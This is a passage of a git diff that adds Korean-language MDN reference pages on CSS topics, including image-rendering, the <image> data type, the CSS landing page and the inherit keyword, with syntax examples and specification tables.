+ </tr>
+ <tr>
+ <td>{{SpecName("CSS1", "#id-as-selector", "ID selectors")}}</td>
+ <td>{{Spec2("CSS1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.id")}}</p>
diff --git a/files/ko/web/css/image-rendering/index.html b/files/ko/web/css/image-rendering/index.html
new file mode 100644
index 0000000000..85522966f0
--- /dev/null
+++ b/files/ko/web/css/image-rendering/index.html
@@ -0,0 +1,120 @@
+---
+title: image-rendering
+slug: Web/CSS/image-rendering
+tags:
+ - CSS
+ - CSS Images
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/image-rendering
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>image-rendering</code></strong> <a href="/ko/docs/Web/CSS" title="CSS">CSS</a> 프로퍼티는 브라우저의 이미지 스케일링 방식에 대한 힌트를 제공합니다. 이 프로퍼티는 엘리먼트 자신에게 적용시킵니다. 스케일링(크기변경)이 안 된 이미지에게는 적용되지 않습니다.</p>
+
+<p>예를들어, 100x100 픽셀의 이미지가 있는데 페이지에서 요구하는 이미지는 200x200픽셀 (혹은 50x50px)이라면, 이미지는 새로운 면적만큼의 특정 알고리즘으로 인해 확대(혹은 축소)됩니다. 스케일링은 사용자의 상호작용(줌기능) 으로 인해 일어날겁니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+image-rendering: auto;
+image-rendering: crisp-edges;
+image-rendering: pixelated;
+
+/* 전역 값 */
+image-rendering: inherit;
+image-rendering: initial;
+image-rendering: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code><strong>auto</strong></code></dt>
+ <dd>기본값입니다.<br>
+ 이미지의 스케일링 알고리즘은 이미지를 최대치로 활용해서 나타냅니다. 특히, 스케일링 알고리즘은 이중선형보간법같은 알고리즘이 보기에 괜찮은 "부드러운"색상을 나타냅니다. 사진같은 종류의 것들을 위해 GEcko엔진 1.9버전(파이어폭스 3.0) 에서는 이중선형 리샘플링(고품질) 을 사용해왔습니다.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<dl>
+ <dt><code><strong>crisp-edges</strong></code></dt>
+ <dd>이미지 스케일링 알고리즘은 반드시 색상대조와 이미지의 표준을 맞게 보존해야 합니다. 그리고 smooth 하지 못한 색상 혹은 이미지의 흐림효과 또한 알고리즘 공정에 있어야합니다. 이 속성은 픽셀아트같은 의도되어 만들어진 이미지들에게 필요합니다.</dd>
+ <dt><code><strong>pixelated</strong></code></dt>
+ <dd>이미지 스케일링을 크게 확대할 때는 "nearest neighbor" 혹은 비슷한 알고리즘을 반드시 사용해야 합니다. 그래서 이미지의 큰 픽셀로 구성해서 나타낼 수 있습니다. 이미지를 작게 축소할 때는 "auto" 속성과 같습니다.</dd>
+</dl>
+
+<div class="note">The values <span id="cke_bm_145S" style="display: none;"> </span><code>optimizeQuality</code> and <code>optimizeSpeed</code> present in early draft (and coming from its SVG counterpart) are defined as synonyms for the <code>auto</code> value.</div>
+
+<h3 id="공식_문법">공식 문법</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:css;">/* applies to GIF and PNG images; avoids blurry edges */
+
+img[src$=".gif"], img[src$=".png"] {
+ image-rendering: -moz-crisp-edges; /* Firefox */
+ image-rendering: -o-crisp-edges; /* Opera */
+ image-rendering: -webkit-optimize-contrast;/* Webkit (non-standard naming) */
+ image-rendering: crisp-edges;
+ -ms-interpolation-mode: nearest-neighbor; /* IE (non-standard property) */
+ }
+
+</pre>
+
+<pre class="brush:css;">div {
+ background: url(chessboard.gif) no-repeat 50% 50%;
+ image-rendering: -moz-crisp-edges; /* Firefox */
+ image-rendering: -o-crisp-edges; /* Opera */
+ image-rendering: -webkit-optimize-contrast;/* Webkit (non-standard naming) */
+ image-rendering: crisp-edges;
+ -ms-interpolation-mode: nearest-neighbor; /* IE (non-standard property) */
+}</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h3 id="Live_Examples">Live Examples</h3>
+
+<h4 id="image-rendering_auto">image-rendering: auto;</h4>
+
+<p style="image-rendering: auto;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h4 id="image-rendering_pixelated_(-ms-interpolation-mode_nearest-neighbor)">image-rendering: pixelated; (-ms-interpolation-mode: nearest-neighbor)</h4>
+
+<p style="-ms-interpolation-mode: nearest-neighbor; image-rendering: pixelated;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h4 id="image-rendering_crisp-edges_(-webkit-optimize-contrast)">image-rendering: crisp-edges; (-webkit-optimize-contrast)</h4>
+
+<p style="image-rendering: -webkit-optimize-contrast; image-rendering: -moz-crisp-edges; image-rendering: -o-crisp-edges; image-rendering: crisp-edges;">78% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 39px; width: 39px;"> 100% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 50px; width: 50px;"> 138% <img alt="squares.gif" src="/@api/deki/files/3612/=squares.gif" style="height: 69px; width: 69px;"> downsized <img alt="hut.jpg" src="/@api/deki/files/3613/=hut.jpg" style="height: 89px; width: 89px;"> upsized <img alt="blumen.jpg" src="/@api/deki/files/3611/=blumen.jpg" style="height: 89px; width: 77px;"></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Images', '#the-image-rendering', 'image-rendering')}}</td>
+ <td>{{Spec2('CSS3 Images')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Though initially close from the SVG <code>image-rendering</code> property, the values are quite different now.</p>
+</div>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 지원</h2>
+
+<p>{{Compat("css.properties.image-rendering")}}</p>
diff --git a/files/ko/web/css/image/index.html b/files/ko/web/css/image/index.html
new file mode 100644
index 0000000000..7d68b3fadc
--- /dev/null
+++ b/files/ko/web/css/image/index.html
@@ -0,0 +1,175 @@
+---
+title: <image>
+slug: Web/CSS/image
+tags:
+ - CSS
+ - CSS Data Type
+ - CSS Images
+ - Graphics
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/image
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>&lt;image&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 2차원 이미지를 나타냅니다.</span> 이미지는 {{cssxref("&lt;url&gt;")}}로 참조하는 일반 이미지, {{cssxref("&lt;gradient&gt;")}} 또는 {{cssxref("element")}}를 사용해 동적으로 생성하는 이미지 두 종류가 있습니다. 다른 이미지 함수로는 {{cssxref("imagefunction", "image()")}}, {{cssxref("image-set")}}, {{cssxref("cross-fade")}} 등이 있습니다. 이미지는 {{CSSxRef("background-image")}}, {{CSSxRef("border-image")}}, {{CSSxRef("content")}}, {{CSSxRef("cursor")}}, {{CSSxRef("list-style-image")}} 등 많은 속성에 사용할 수 있습니다.</p>
+
+<h2 id="이미지_유형">이미지 유형</h2>
+
+<p>CSS는 다음 이미지 종류를 처리할 수 있습니다.</p>
+
+<ul>
+ <li><strong>본질적인 크기</strong>(원래 크기)를 가진 이미지. JPEG, PNG 등 <a href="https://ko.wikipedia.org/wiki/%EB%9E%98%EC%8A%A4%ED%84%B0_%EA%B7%B8%EB%9E%98%ED%94%BD%EC%8A%A4">래스터 포맷</a>.</li>
+ <li><strong>여러 개의 본질적인 크기</strong>를 가진 이미지. 하나의 파일이 이미지의 여러 버전을 가지고 있는 경우. 일부 .ico 파일 등. 이 때, 본질적인 크기는 제일 크고 컨테이닝 박스와 가로세로 비율이 제일 비슷한 이미지를 따라갑니다.</li>
+ <li>본질적인 크기는 없지만 <strong>본질적인 종횡비</strong>를 가진 이미지. SVG 등 <a href="https://ko.wikipedia.org/wiki/%EB%B2%A1%ED%84%B0_%EA%B7%B8%EB%9E%98%ED%94%BD%EC%8A%A4">벡터 포맷</a>.</li>
+ <li id="no_intrinsic"><strong>본질적인 크기도, 종횡비도 없는</strong> 이미지. CSS 그레이디언트 등.</li>
+</ul>
+
+<p>CSS는 객체의 구체적인 크기를 (1) 그 본질적인 크기, (2) {{CSSxRef("width")}}, {{CSSxRef("height")}}, {{CSSxRef("background-size")}} 등 CSS 속성으로 설정한 크기, (3) 아래 표에 나열한, 이미지를 설정한 속성에 따른 기본값을 통해 결정합니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">객체 유형 (CSS 속성)</th>
+ <th scope="col">객체 크기의 기본값</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{CSSxRef("background-image")}}</td>
+ <td>요소의 배경 위치 영역 크기</td>
+ </tr>
+ <tr>
+ <td>{{CSSxRef("list-style-image")}}</td>
+ <td><code>1em</code> 문자의 크기</td>
+ </tr>
+ <tr>
+ <td>{{CSSxRef("border-image-source")}}</td>
+ <td>요소의 테두리 이미지 영역 크기</td>
+ </tr>
+ <tr>
+ <td>{{CSSxRef("cursor")}}</td>
+ <td>브라우저가 정의한, 클라이언트 시스템의 일반적인 커서 사이즈</td>
+ </tr>
+ <tr>
+ <td>{{CSSxRef("mask-image")}}</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>{{CSSxRef("shape-outside")}}</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>{{CSSxRef("mask-border-source")}}</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>{{cssxref("@counter-style")}}의 {{CSSxRef("symbols")}}</td>
+ <td>실험적 기능. 지원 시엔 브라우저가 정의한, 클라이언트 시스템의 일반적인 커서 사이즈</td>
+ </tr>
+ <tr>
+ <td>의사 요소의 {{CSSxRef("content")}} ({{CSSxRef("::after")}}/{{CSSxRef("::before")}})</td>
+ <td>300px × 150px 사각형</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>구체적인 크기는 다음 알고리즘을 사용해 계산합니다.</p>
+
+<ul>
+ <li>너비와 높이 모두 지정한 크기가 있다면 그 값을 구체적인 크기로 사용합니다.</li>
+ <li>너비 또는 높이만 지정한 크기가 있고, 본질적인 종횡비가 있다면 그 값으로 다른 크기를 계산해 사용하고, 지정한 크기가 본질적인 크기와 일치하면 다른 크기도 본질적인 크기를 사용하고, 모두 아니면 객체 크기의 기본값을 사용합니다.</li>
+ <li>너비도 높이도 지정한 크기가 없다면, 객체 크기의 기본값을 넘지 않는 한도에서 이미지의 본질적인 종횡비를 사용해 구체적인 크기를 결정합니다. 본질적인 종횡비가 없으면 요소의 종횡비를 사용하며, 요소도 가지고 있지 않으면 객체 크기의 기본값에서 가져옵니다.</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> 모든 브라우저가 모든 속성에 모든 유형의 이미지를 지원하는건 아닙니다. {{anch("브라우저 호환성")}} 항목을 참고하세요.</div>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;image&gt;</code> 자료형은 다음 중 하나로 나타낼 수 있습니다.</p>
+
+<ul>
+ <li>{{CSSxRef("&lt;url&gt;")}} 자료형</li>
+ <li>{{CSSxRef("&lt;gradient&gt;")}} 자료형</li>
+ <li>{{CSSxRef("element")}} 함수로 정의한 웹페이지의 일부</li>
+ <li>{{CSSxRef("image()")}} 함수로 정의한 이미지, 이미지 조각, 단일 색</li>
+ <li>{{CSSxRef("cross-fade")}} 함수로 정의한 두 개 이상 이미지의 혼합</li>
+ <li>{{CSSxRef("image-set")}} 함수로 정의한 이미지 중 적절한 해상도</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="유효한_이미지">유효한 이미지</h3>
+
+<pre class="brush: css example-good">url(test.jpg) /* "test.jpg"가 실제로 이미지일 때 &lt;url&gt; */
+linear-gradient(blue, red) /* &lt;gradient&gt; */
+element(#realid) /* "realid"가 페이지에 존재하는 ID일 때
+ element() 함수로 참조한 웹페이지의 일부 */
+image(ltr 'arrow.png#xywh=0,0,16,16', red)
+ /* "arrow.png"가 지원되는 이미지일 때 &lt;url&gt;의 일부, 원본의 좌상단부터 16x16
+ 지원하지 않는 이미지일 때 빨강 단색
+ RTL 언어에서는 이미지아 가로방향 반전됨 */
+cross-fade(20% url(twenty.png), url(eighty.png))
+ /* 혼합 이미지, "twenty.png" 불투명도 20%
+ "eighty.png" 불투명도 80% */
+image-set('test.jpg' 1x, 'test-2x.jpg' 2x)
+ /* 여러 해상도의 이미지 묶음 */</pre>
+
+<h3 id="유효하지_않은_이미지">유효하지 않은 이미지</h3>
+
+<pre class="brush: css example-bad">nourl.jpg /* 이미지 파일은 url() 함수로 정의해야 함 */
+url(report.pdf) /* url() 함수가 가리키는 파일은 이미지여야 함 */
+element(#fakeid) /* 요소 ID가 페이지에 존재해야 함 */
+image(z.jpg#xy=0,0) /* 이미지 조각은 xywh=#,#,#,# 형식으로 작성해야 함 */
+image-set('cat.jpg' 1x, 'dog.jpg' 1x) /* 각각의 이미지가 다른 해상도를 가져야 함 */
+</pre>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>브라우저는 배경 이미지에 대한 어떠한 정보도 보조 기술에 제공하지 않습니다. 스크린 리더 사용자에게 특히 큰 영향을 주는데, 스크린 리더가 배경 이미지의 존재를 표현하지 않으므로 사용자도 이미지에 대해 알 수 없기 때문입니다. 이미지가 문서의 목적을 이해하는 것에 중요한 정보를 포함하는 경우 문서에 구조적으로 포함하는 편이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html" rel="noopener">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Images", "#typedef-image", "&lt;image&gt;")}}</td>
+ <td>{{Spec2("CSS4 Images")}}</td>
+ <td>Adds {{CSSxRef("element()")}}, {{CSSxRef("image()")}}, {{CSSxRef("image-set")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}, and {{CSSxRef("image-resolution")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Images", "#typedef-image", "&lt;image&gt;")}}</td>
+ <td>{{Spec2("CSS3 Images")}}</td>
+ <td>Initial definition. Before this, there was no explicitly defined <code>&lt;image&gt;</code> data type. Images could only be defined using the <code>url()</code> functional notation.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.image")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef("&lt;gradient&gt;")}}</li>
+ <li>{{CSSxRef("element")}}</li>
+ <li>{{CSSxRef("imagefunction", "image()")}}</li>
+ <li>{{CSSxRef("image-set")}}</li>
+ <li>{{CSSxRef("cross-fade")}}</li>
+</ul>
diff --git a/files/ko/web/css/index.html b/files/ko/web/css/index.html
new file mode 100644
index 0000000000..7c5210e812
--- /dev/null
+++ b/files/ko/web/css/index.html
@@ -0,0 +1,96 @@
+---
+title: 'CSS: Cascading Style Sheets'
+slug: Web/CSS
+tags:
+ - CSS
+ - Design
+ - Landing
+ - Layout
+ - Reference
+ - 'l10n:priority'
+ - 스타일시트
+translation_of: Web/CSS
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong>Cascading Style Sheets</strong>(<strong>CSS</strong>)는 <a href="/ko/docs/HTML" title="HyperText Markup Language">HTML</a>이나 <a href="/ko/docs/XML">XML</a>(<a href="/ko/docs/SVG">SVG</a>, <a href="/ko/docs/XHTML">XHTML</a> 같은 XML 방언(dialect) 포함)로 작성된 문서의 표현을 기술하기 위해 쓰이는 <a href="/ko/docs/Web/API/StyleSheet">스타일시트</a> 언어입니다.</span> CSS는 요소가 화면, 종이, 음성이나 다른 매체 상에 어떻게 렌더링되어야 하는지 기술합니다.</p>
+
+<p>CSS는 <strong>오픈 웹</strong>의 핵심 언어 중 하나이며 <a class="external" href="http://w3.org/Style/CSS/#specs">W3C 명세</a>에 따라 브라우저끼리 표준을 맞춥니다. 레벨 단위로 개발한 CSS1은 더 이상 사용하지 않고, 다음 레벨인 CSS2.1은 권고안이며, 레벨보다 작은 단위인 모듈로 나뉜 <a href="/ko/docs/Web/CSS/CSS3" title="CSS3">CSS3</a>은 표준화 과정을 밟고 있습니다.</p>
+
+<section id="sect1">
+<ul class="card-grid">
+ <li><span>CSS 소개</span>
+
+ <p>웹 개발을 처음 하신다면 <a href="/ko/docs/Learn/Getting_started_with_the_web/CSS_기본">CSS 기본</a> 문서를 읽어 CSS가 무엇인지와 사용법을 배워보세요.</p>
+ </li>
+ <li><span>CSS 자습서</span>
+ <p>시작하는 완전한 초보자를 돕는 <a href="/ko/docs/CSS/Getting_Started" title="Getting Started">단계별 입문서</a>. 필요한 기초를 모두 제공합니다.</p>
+ </li>
+ <li><span>CSS 참고서</span>
+ <p>숙련된 개발자를 위한 <a href="/ko/docs/Web/CSS/Reference">전체 CSS 참고서</a>는 CSS의 모든 속성과 개념을 설명합니다.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="자습서">자습서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/CSS/Introduction_to_CSS">CSS 소개</a></dt>
+ <dd>선택자, 속성, 규칙 작성, HTML에 CSS 적용하기, 길이와 색 등 단위 지정하기, 종속과 상속, 박스 모델, 디버깅 등 CSS의 작동 원리와 기본을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/Styling_text">텍스트 꾸미기</a></dt>
+ <dd>글꼴, 굵기, 기울이기, 줄 간격과 글자 간격, 그림자 등 텍스트 스타일의 기초를 논합니다. 사용자 설정 글꼴 적용, 목록과 링크 꾸미기로 마무리합니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/Styling_boxes">박스 꾸미기</a></dt>
+ <dd>웹 페이지 레이아웃의 기초 중 하나인 박스 스타일을 살펴봅니다. 박스 모델에 대해 복습하고, 마진, 테두리, 패딩, 배경색, 이미지, 그림자, 필터 등 박스 레이아웃을 조절하는 법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Learn/CSS/CSS_layout">CSS 레이아웃</a></dt>
+ <dd>텍스트를 꾸미고 박스를 변형하는 등 CSS 기초를 살펴보았으니, 이제 화면이나 서로에게 상대적인 위치에 올바르게 배치하는 법을 배웁니다. 필요한 전제조건은 다루었으니 각기 다른 디스플레이 설정, 플로팅과 포지션을 사용하는 전통적인 레이아웃법 및 플렉스박스 등 새로운 방법 등 더 깊은 영역을 배웁니다.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 id="참고서">참고서</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Reference">CSS 참고서</a>: 숙련된 웹 개발자를 위해 CSS의 모든 속성과 개념을 설명합니다.</li>
+ <li>CSS 핵심 개념
+ <ul>
+ <li><a href="/ko/docs/Web/CSS/Syntax">언어 구문과 형태</a></li>
+ <li><a href="/ko/docs/Web/CSS/Specificity">명시도</a>, <a href="/ko/docs/Web/CSS/inheritance">상속</a>, <a href="/ko/docs/Web/CSS/Cascade">종속</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Values_and_Units">CSS 단위와 값</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">박스 모델</a>과 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">여백 상쇄</a></li>
+ <li><a href="/ko/docs/Web/CSS/All_About_The_Containing_Block">컨테이닝 블록</a></li>
+ <li><a href="/ko/docs/Web/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>과 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">블록 서식 맥락</a></li>
+ <li><a href="/ko/docs/Web/CSS/initial_value">초기값</a>, <a href="/ko/docs/Web/CSS/computed_value">계산값</a>, <a href="/ko/docs/Web/CSS/used_value">사용값</a>, <a href="/ko/docs/Web/CSS/actual_value">실제값</a></li>
+ <li><a href="/ko/docs/Web/CSS/Shorthand_properties">CSS 단축 속성</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">CSS 플렉스 박스 레이아웃</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li><a href="/ko/docs/Web/CSS/Media_Queries">미디어 쿼리</a></li>
+ <li><a href="/ko/docs/Web/CSS/animation">애니메이션</a></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="쿡북">쿡북</h2>
+
+<p><a href="/ko/docs/Web/CSS/Layout_cookbook">CSS 레이아웃 쿡북</a>은 여러분의 웹 사이트에서도 구현해야 할 수 있는, 흔히 쓰이는 레이아웃 패턴을 모아놓은 문서입니다. 프로젝트의 시작 코드는 물론이고, 레이아웃 명세를 사용하는 각기 다른 방법과 개발자로서 고를 수 있는 선택지를 제공합니다.</p>
+
+<h2 class="Tools" id="CSS_개발_도구">CSS 개발 도구</h2>
+
+<ul>
+ <li>CSS가 유효한지 검사하는 <a class="external" href="http://jigsaw.w3.org/css-validator/">W3C CSS Validation 서비스</a>. 매우 유용한 디버깅 도구입니다.</li>
+ <li><a href="/ko/docs/Tools">Firefox 개발자 도구</a>는 <a href="/ko/docs/Tools/Page_Inspector">검사기</a>와 <a href="/ko/docs/Tools/Style_Editor">스타일 편집기</a> 도구를 통해 페이지의 실시간 CSS 보기와 편집을 허용합니다.</li>
+ <li>Firefox 전용 <a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/">웹 개발자 확장</a>도 특정 사이트를 주시해 CSS를 추적하고 실시간 편집을 가능케 합니다.</li>
+ <li><a href="/ko/docs/Web/CSS/Tools">기타 CSS 도구.</a></li>
+</ul>
+</div>
+</div>
+</section>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Demos_of_open_web_technologies#CSS">CSS 데모</a>: 최신 CSS 기술을 사용한 데모를 탐색하며 영감을 얻어보세요.</li>
+ <li>흔히 CSS를 적용하는 웹 언어: <a href="/ko/docs/HTML">HTML</a>, <a href="/ko/docs/SVG">SVG</a>, <a href="/ko/docs/Glossary/XHTML">XHTML</a>, <a href="/ko/docs/Web/XML/XML_Introduction">XML</a>.</li>
+ <li>CSS를 광범위하게 사용하는 Mozilla 기술: <a href="/ko/docs/Mozilla/Firefox">Firefox</a>, <a href="/ko/docs/Mozilla/Thunderbird">Thunderbird</a> <a href="/ko/docs/Mozilla/Add-ons">확장기능</a>과 <a href="/ko/docs/Mozilla/Add-ons/Themes">테마</a>.</li>
+ <li><a href="https://stackoverflow.com/questions/tagged/css">Stack Overflow의 CSS 질문</a></li>
+</ul>
diff --git a/files/ko/web/css/index/index.html b/files/ko/web/css/index/index.html
new file mode 100644
index 0000000000..953130cd26
--- /dev/null
+++ b/files/ko/web/css/index/index.html
@@ -0,0 +1,10 @@
+---
+title: CSS documentation index
+slug: Web/CSS/Index
+tags:
+ - CSS
+ - Index
+ - MDN Meta
+translation_of: Web/CSS/Index
+---
+<p>{{Index("/ko/docs/Web/CSS")}}</p>
diff --git a/files/ko/web/css/inherit/index.html b/files/ko/web/css/inherit/index.html
new file mode 100644
index 0000000000..71f7890cc3
--- /dev/null
+++ b/files/ko/web/css/inherit/index.html
@@ -0,0 +1,77 @@
+---
+title: inherit
+slug: Web/CSS/inherit
+tags:
+ - CSS
+ - CSS Cascade
+ - Layout
+ - Reference
+ - Web
+translation_of: Web/CSS/inherit
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS <strong><code>inherit</code></strong> 키워드를 사용한 속성은 부모 요소로부터 해당 속성의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>을 받아 사용합니다.</span> CSS {{cssxref("all")}} 단축 속성을 포함한 모든 속성에 사용할 수 있습니다.</p>
+
+<p>상속되는 속성(<a href="/en/CSS/inheritance" title="en/CSS/inheritance">inherited properties</a>)의 경우, 이는 기본 동작(behavior)을 강화하고 오직 다른 규칙을 재정의(override)해야 합니다. 상속되지 않는 속성(<a href="/en/CSS/inheritance" title="en/CSS/inheritance">non-inherited properties</a>)은, 이는 보통 비교적 거의 의미가 없는 동작을 지정하고 당신은 대신 {{cssxref("initial")}} 혹은 {{cssxref("all")}} 속성에 {{cssxref("unset")}} 사용을 고려할 지도 모릅니다.</p>
+
+<p>상속(Inheritance)은 심지어 부모 요소가 포함(containing) 블록이 아니더라도, 항상 문서 트리 내 부모 요소로부터입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css"> /* h2를 green으로 만듦 */
+ h2 { color: green; }
+
+ /* 부모 요소의 color를 사용하도록 sidebar 내의 h2를 홀로 남김 */
+ #sidebar h2 { color: inherit; }
+</pre>
+
+<p>이 예제에서 sidebar 내부의 <code>h2</code> 요소는 다른 색일지도 모릅니다. 예를 들어, 그 중 하나는 규칙과 일치하는 div의 자식이라면</p>
+
+<pre class="brush: css"> div#current { color: blue; }
+</pre>
+
+<p>파란색이 됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>명세</th>
+ <th>상태</th>
+ <th>설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS4 Cascade', '#inherit', 'inherit') }}</td>
+ <td>{{Spec2('CSS4 Cascade')}}</td>
+ <td>Level 3에 변화 없음.</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS3 Values', "#common-keywords", "inherit") }}</td>
+ <td>{{ Spec2('CSS3 Values') }}</td>
+ <td>{{ SpecName('CSS2.1') }}에서 두드러진 변화 없음</td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', "cascade.html#value-def-inherit", "inherit") }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("css.types.global_keywords.inherit")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a class="internal" href="/ko/docs/Web/CSS/inheritance">상속</a></li>
+ <li>{{cssxref("initial")}}을 사용해 속성의 초깃값을 사용하세요.</li>
+ <li>{{cssxref("unset")}}을 사용해 속성의 상속값 또는 초깃값을 사용하세요.</li>
+ <li>{{cssxref("revert")}}를 사용해 사용자 에이전트가 지정한 값(또는 사용자가 수정한 값)으로 속성을 되돌리세요.</li>
+ <li>{{cssxref("all")}} 속성을 사용하면 요소의 모든 속성을 한꺼번에 <code>initial</code>, <code>inherit</code>, <code>revert</code>, <code>unset</code>할 수 있습니다.</li>
+</ul>
diff --git a/files/ko/web/css/inheritance/index.html b/files/ko/web/css/inheritance/index.html
new file mode 100644
index 0000000000..db14ed6cd8
--- /dev/null
+++ b/files/ko/web/css/inheritance/index.html
@@ -0,0 +1,54 @@
+---
+title: 상속
+slug: Web/CSS/inheritance
+tags:
+ - CSS
+ - Guide
+ - Inheritance
+ - Layout
+ - Web
+translation_of: Web/CSS/inheritance
+---
+<div>{{cssref}}</div>
+
+<p>MDN 내 각 <a href="/ko/docs/Web/CSS/CSS_Reference">CSS 속성(property) 정의</a> 페이지의 요약절은 그 속성이 기본(default)으로 상속되는지("Inherited: Yes") 혹은 상속되지 않는지("Inherited: no") 쓰여 있습니다. 이 상속 여부는 요소의 속성에 어떤 값이 지정되지 않을 때 일어나는 일을 제어합니다.</p>
+
+<h2 id="Inherited_properties" name="Inherited_properties">상속되는 속성</h2>
+
